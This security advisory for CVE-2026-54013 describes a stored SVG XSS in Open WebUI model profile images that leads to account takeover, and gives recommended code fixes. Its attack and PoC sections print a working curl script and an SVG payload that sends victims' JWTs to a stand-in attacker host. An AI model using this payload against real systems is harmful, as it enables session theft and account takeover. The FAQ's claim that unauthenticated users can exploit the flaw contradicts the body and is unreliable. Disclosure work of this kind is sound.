CVE-2026-54013: Open WebUI: Stored XSS to Account Takeover via Model Profile Images in Open WebUI
Stored XSS to Account Takeover via Model Profile Images in Open WebUI
Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc
---
TL;DR
Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validateprofileimageurl field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.
---
Past of the issue
In early 2025, two security advisories landed for Open WebUI:
- GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images - GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images
The patches were clean. A validateprofileimageurl function was introduced in backend/openwebui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.
The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.
Except there was a fourth endpoint.
The Gap
Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:
python backend/openwebui/models/models.py, line 37-47 class ModelMeta(BaseModel): profileimageurl: Optional[str] = '/static/favicon.png' description: Optional[str] = None capabilities: Optional[dict] = None modelconfig = ConfigDict(extra='allow')
No @fieldvalidator. No import of validateprofileimageurl. ModelMeta accepts any string as profileimageurl including data:image/svg+xml;base64,....
The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:
python backend/openwebui/routers/models.py, line 503-518 elif profileimageurl.startswith('data:image'): header, base64data = profileimageurl.split(',', 1) imagedata = base64.b64decode(base64data) imagebuffer = io.BytesIO(imagedata) mediatype = header.split(';')[0].lstrip('data:')
headers = {'Content-Disposition': 'inline'} # ... return StreamingResponse( imagebuffer, mediatype=mediatype, headers=headers, )
No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.
Compare this with the patched user endpoint:
python backend/openwebui/routers/users.py, line 497-509 mediatype = header.split(';')[0].lstrip('data:').lower()
if mediatype not in PROFILEIMAGEALLOWEDMIMETYPES: # <-- ABSENT in models.py return FileResponse(f'{STATICDIR}/user.png')
return StreamingResponse( imagebuffer, mediatype=mediatype, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', # <-- ABSENT in models.py }, )
The fix exists. It just was never applied here.
Comparison Table
| Endpoint | Input Validation | MIME Allowlist | nosniff | Status | |----------|:---:|:---:|:---:|--------| | GET /users/{id}/profile/image | YES | YES | YES | Patched | | GET /webhooks/{id}/profile/image | YES | no | no | Partially patched | | GET /models/model/profile/image | NO | NO | NO | Vulnerable |
Three Write Vectors
The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:
1. POST /api/v1/models/create (line 195) any user with workspace.models permission 2. POST /api/v1/models/update (line 581) model owner or admin 3. POST /api/v1/models/import (line 279) admin only
The workspace.models permission is enabled by default for all non-pending users in a standard deployment.
The Attack
Step 1 Store the payload:
bash SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg>' | base64 -w0)
curl -s -X POST 'https://TARGET/api/v1/models/create' \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"basemodelid\": \"gpt-4\", \"meta\": { \"profileimageurl\": \"data:image/svg+xml;base64,$SVG\", \"description\": \"Latest GPT-4 Turbo model\" }, \"params\": {}, \"accessgrants\": [] }"
Step 2 Victim navigates to the image URL:
https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview
This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).
Step 3 Token theft:
The server responds:
http HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg>
No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.
PoC
bash #!/usr/bin/env bash PoC: Stored SVG XSS -> token theft via Open WebUI model profile image Affected: open-webui <= 0.9.5
TARGET="http://localhost:8080" ATTACKERTOKEN="<attackerJWTfromlocalStorage.token>" COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener
--- Step 1: Build the malicious SVG (steals victim JWT from localStorage) --- read -r -d '' SVG <<EOF <svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token")); </script> </svg> EOF SVGB64=$(printf '%s' "$SVG" | base64 -w0)
--- Step 2: Store the payload in a model's profileimageurl --- curl -s -X POST "${TARGET}/api/v1/models/create" \ -H "Authorization: Bearer ${ATTACKERTOKEN}" \ -H "Content-Type: application/json" \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"basemodelid\": \"gpt-4\", \"meta\": { \"profileimageurl\": \"data:image/svg+xml;base64,${SVGB64}\", \"description\": \"Latest GPT-4 Turbo\" }, \"params\": {}, \"accessgrants\": [] }"
--- Step 3: Trigger (victim navigates here, or attacker sends the link) --- echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"
Expected server response at Step 3 (the proof — SVG served inline, no defenses):
HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg"> <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script> </svg> No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).
Trigger note: because the frontend loads model avatars in <img src=...> context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.
Root Cause
An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profileimageurl field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.
Recommended Fix
Input side add the validator to ModelMeta:
python backend/openwebui/models/models.py from openwebui.utils.validate import validateprofileimageurl
class ModelMeta(BaseModel): profileimageurl: Optional[str] = '/static/favicon.png' # ...
@fieldvalidator('profileimageurl', mode='before') @classmethod def checkprofileimageurl(cls, v): if v is None: return v return validateprofileimageurl(v)
Output side add MIME check and nosniff to the serving endpoint:
python backend/openwebui/routers/models.py mediatype = header.split(';')[0].lstrip('data:').lower()
if mediatype not in PROFILEIMAGEALLOWEDMIMETYPES: return FileResponse(f'{STATICDIR}/favicon.png')
return StreamingResponse( imagebuffer, mediatype=mediatype, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', }, )
Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validateprofileimageurl field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL. This vulnerability is fixed in 0.9.6.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/open-webuito a version that resolves this vulnerability.Fixed in 0.9.6 - Upgrade
Upgrade
open-webuito a version that resolves this vulnerability.Fixed in 0.9.6 - Configuration
Add the `@field_validator('profile_image_url', mode='before')` validator in `backend/open_webui/models/models.py` (ModelMeta) so it calls `validate_profile_image_url` and blocks `data:image/svg+xml;base64,...`.
Open WebUI Model profile image input validation ModelMeta profile_image_url (add @field_validator / validate_profile_image_url) = validate_profile_image_url(data-uri) with data: URI restriction to image/png, image/jpeg, image/gif, image/webp and exclusion of image/svg+xml - Configuration
Update the model image serving endpoint `GET /api/v1/models/model/profile/image` to perform an output-side MIME allowlist check (reject `image/svg+xml`) and return `X-Content-Type-Options: nosniff` instead of serving SVG inline.
Open WebUI Model profile image serving endpoint GET /api/v1/models/model/profile/image response headers and MIME allowlist = Allow only `data:` raster MIME types via the existing `PROFILE_IMAGE_ALLOWED_MIME_TYPES`; set `Content-Type` accordingly and add `X-Content-Type-Options: nosniff` (and ensure SVG `image/svg+xml` is rejected) - Compensating control
Ensure any remaining model/webhook profile image endpoints consistently enforce MIME allowlist + `X-Content-Type-Options: nosniff` (the material notes output-side defenses were added only to `users.py`, leaving model/webhook endpoints with the same gap).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54013?
The severity of CVE-2026-54013 is high with a score of 7.6.
How do I fix CVE-2026-54013?
To fix CVE-2026-54013, update your Open WebUI installation to version 0.9.6 or later.
What type of vulnerability is CVE-2026-54013?
CVE-2026-54013 is a stored Cross-Site Scripting (XSS) vulnerability that can lead to account takeover.
Which versions of Open WebUI are affected by CVE-2026-54013?
Open WebUI versions 0.9.5 and earlier are affected by CVE-2026-54013.
Can CVE-2026-54013 be exploited remotely?
Yes, CVE-2026-54013 can be exploited remotely due to its attack vector that allows unauthenticated users to execute scripts.